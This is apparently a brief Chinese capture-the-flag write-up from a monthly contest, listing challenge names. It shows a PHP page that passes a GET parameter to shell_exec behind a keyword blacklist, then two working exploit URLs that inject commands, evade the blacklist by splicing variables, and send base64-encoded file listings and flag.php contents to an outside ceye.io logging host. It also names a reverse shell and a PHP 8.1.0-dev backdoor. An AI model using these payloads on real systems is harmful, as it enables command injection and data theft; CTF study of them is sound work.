月赛（ ）

level2-ezForgery 

我不告诉你

反弹shell

CEYE - Monitor service for security testing

<?php

error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];

if(!preg_match("/flag|dns1og|request|txt|1s|php|pass|echo|</i",$cmd)){
    shell_exec($cmd);
}else{
    echo "这这不对吧？";
}
/*有的人真的很粗心*/
?>

47.100.82.79/?cmd=curl http://h1x3lu.ceye.io/`ls| base64`

http://47.100.82.79/?cmd=curl%20http://h1x3lu.ceye.io/`a=c;b=at;c=f;d=lag.p;e=hp;$a$b%20${c}${d}${e}|%20base64`

 

simplephp

 

PHP/8.1.0-dev漏洞 

 

我在内网很想你